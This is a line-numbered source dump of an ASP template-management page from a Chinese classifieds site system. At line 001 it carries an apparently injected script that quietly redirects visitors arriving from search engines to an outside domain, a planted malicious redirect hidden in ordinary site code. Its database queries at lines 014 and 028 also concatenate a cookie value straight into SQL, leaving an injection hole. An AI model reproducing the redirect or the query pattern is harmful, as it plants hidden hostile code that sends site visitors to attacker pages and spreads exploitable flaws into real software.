d:\wwwroot\wuchunhua\shop_mb.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file=usercookies.asp-->
003:
<!--#include file="inc/kqiqi_sub.asp"-->
004:
<%
005:
' @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
006:
' @ @
007:
' @ @
008:
' @ 客齐齐分管理系统,做最好的分类系统。 @
009:
' @ @
010:
' @ @
011:
' @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
012:
username=request.cookies("kqiqi")("username")
013:
set rs = Server.CreateObject("ADODB.RecordSet")
014:
sql="select * from [kqiqi_shop] where username='"&username&"'"
015:
rs.open sql,conn,1,1
016:
if rs.eof then
017:
response.write "<br>"
018:
response.write "<li>参数错误!没有该用户信息"
019:
response.end
020:
end if
021:
mb=trim(rs("mb"))
022:
rs.close
023:
set rs=nothing
024:
025:
username=request.cookies("kqiqi")("username")
026:
if request("kqiqi")="chk" then
027:
set rs=server.createobject("adodb.recordset")
028:
sql="select * from [kqiqi_shop] where username='"&username&"'"
029:
rs.open sql,conn,1,3
030:
rs("mb")=trim(request("mb"))
031:
rs.update
032:
rs.close
033:
set rs=nothing
034:
response.write "<script language=JavaScript>" & chr(13) & "alert('模板设置成功!');history.back();</script>"
035:
response .end
036:
else
037:
%
>
038:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
039:
<html xmlns="http://www.w3.org/1999/xhtml">
040:
<head>
041:
<title>
<%
=title
%
>-模板管理</title>
042:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
043:
<meta http-equiv="Content-Language" content="zh-cn" />
044:
<meta name="Keywords" content="
<%
=metakey
%
>" />
045:
<meta name="Description" content="
<%
=metades
%
>" />
046:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
047:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
048:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
049:
<script language="JavaScript">
050:
function DrawImage(ImgD){
051:
var image=new Image();
052:
image.src=ImgD.src;
053:
if(image.width>0 && image.height>0){
054:
flag=true;
055:
if(image.width/image.height>= 250/250){
056:
if(image.width>250){
057:
ImgD.width=250;
058:
ImgD.height=(image.height*250)/image.width;
059:
}else{
060:
ImgD.width=image.width;
061:
ImgD.height=image.height;
062:
}
063:
064:
}
065:
else{
066:
if(image.height>250){
067:
ImgD.height=250;
068:
ImgD.width=(image.width*250)/image.height;
069:
}else{
070:
ImgD.width=image.width;
071:
ImgD.height=image.height;
072:
}
073:
074:
}
075:
}
076:
/*else{
077:
ImgD.src="";
078:
ImgD.alt=""
079:
}*/
080:
}
081:
</script>
082:
083:
</head>
084:
<body>
085:
<div id="Fmain">
086:
<div id="header">
087:
<%
call top()
%
>
088:
</div>
089:
<div class=kon></div>
090:
<div id="Uleft">
091:
<div id=FFTit class=F12bold>会员管理中心</div><div id=FFContent><div Class='FFdiv'>
092:
<!--#include file=shop_userleft.asp-->
093:
</div></div></div>
094:
<div id="Uright">
095:
<div id=FFTit class=F12bold>模板管理</div><div id=FFContent><div Class='FFdiv'>
096:
097:
<form name="form1" method="POST" action="?kqiqi=chk">
098:
<table width="100%" cellspacing="0">
099:
<tr>
100:
<td align="center">
101:
<a target="_blank" href="shop/images/1.gif"><img border="0" src="shop/images/1.gif" width="270" height="270" onload="javascript:DrawImage(this);"></a></td>
102:
<td align="center">
103:
<a target="_blank" href="shop/images/2.gif"><img border="0" src="shop/images/2.gif" width="270" height="270" onload="javascript:DrawImage(this);"></a>
104:
</td>
105:
<td align="center">
106:
<a target="_blank" href="shop/images/3.gif"><img border="0" src="shop/images/3.gif" width="270" height="270" onload="javascript:DrawImage(this);"></a>
107:
</td>
108:
</tr>
109:
<tr>
110:
<td align="center">
111:
<b>点击图片可放大
112:
</b>
113:
</td>
114:
<td align="center">
115:
<b>点击图片可放大</b></td>
116:
<td align="center">
117:
<b>点击图片可放大</b></td>
118:
</tr>
119:
<tr>
120:
<td align="center">
121:
<input type="radio" value="1"
<%
if mb=1 then
%
>checked
<%
end if
%
> name="mb">选用此模板
122:
</td>
123:
<td align="center">
124:
<input type="radio" value="2"
<%
if mb=2 then
%
>checked
<%
end if
%
> name="mb">选用此模板
125:
</td>
126:
<td align="center">
127:
<input type="radio" value="3"
<%
if mb=3 then
%
>checked
<%
end if
%
> name="mb">选用此模板
128:
</td>
129:
</tr>
130:
<tr>
131:
<td colspan="3" align="center">
132:
<br>
133:
<input type="submit" value="提交模板" name="B1" style="height: 28">
134:
<br>
135:
</td>
136:
</tr>
137:
</table>
138:
</form>
139:
</div></div></div>
140:
<br style="clear:both;" />
141:
<div class=kon></div>
142:
<div class=kon></div>
143:
<div id="footer">
144:
<%
145:
end if
146:
call bottom()
147:
%
>
148:
</div>
149:
</div>
150:
151:
</body>
152:
</html>
153:
154: